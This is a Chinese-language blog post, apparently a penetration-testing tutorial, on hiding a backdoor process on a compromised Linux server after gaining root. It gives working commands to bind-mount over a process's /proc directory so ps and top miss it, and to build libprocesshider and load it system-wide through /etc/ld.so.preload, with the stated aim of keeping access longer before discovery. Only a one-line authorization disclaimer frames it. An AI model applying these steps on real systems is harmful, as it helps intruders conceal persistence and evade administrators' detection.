渗透测试请在取得授权的情况下进行,否则后果自负
对于Linux而言,一旦获取到了shell,基本上这台服务器的大部分信息就能获得;当这个shell是root用户的,那么,这台服务器基本上就已经拿下。
在渗透测试中,权限维持是很重要的一环。拿下一台机器后,无论是搜集信息,还是作为跳板,都需要长久的获取这台机器的权限
想方设法隐藏留下的后门,晚一点被发现,就多获得一点的信息
所以我们得目的也就很简单,隐藏进程和隐藏文件
挂载覆盖/proc/pid 目录
利用 mount -bind
将另外一个目录挂载覆盖至 /proc/目录下指定进程 PID 的目录
ps、top 等命令会读取 /proc
目录下获取进程信息,如果将进程 PID 的目录信息覆盖,则原来的进程信息会从 ps
的输出结果消失。
mount -o bind /root/hid /proc/1234
# 挂载空目录
mount /dev/sda1 /proc/1234
# 挂载磁盘
当当成功挂载后,这个进程就会从 ps
和 top
的列表中消失
但是,这依旧可以通过遍历 /proc
目录发现进程,也可通过执行 cat /proc/mounts
找到挂载点,并且有些Linux的/proc
目录禁止挂载文件
LD_PRELOAD劫持系统函数
LD_PRELOAD是什么:
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
程序的源码可以从https://github.com/gianlucaborello/libprocesshider下载
git clone https://github.com/gianlucaborello/libprocesshider.git
# 克隆代码
# 修改libprocesshider.c,写上需要hock的进程名
cd libprocesshider
# 进入目录
make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
# 编译
最后会生成 libprocesshider.so
文件
mv libprocesshider.so /usr/local/lib/
# 移动到库
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
# 写入预加载库文件
原理:
- 程序定义了一个变量
process_to_filter
来控制不显示哪个进程名 - 重写readdir
strcmp(process_name, process_to_filter) == 0)
- 当发现当前进程名称与
process_to_filter
相同时,输出 NULL - 继续循环
缺点:/proc
目录下还是会存在我们进程的 pid 目录
Comments NOTHING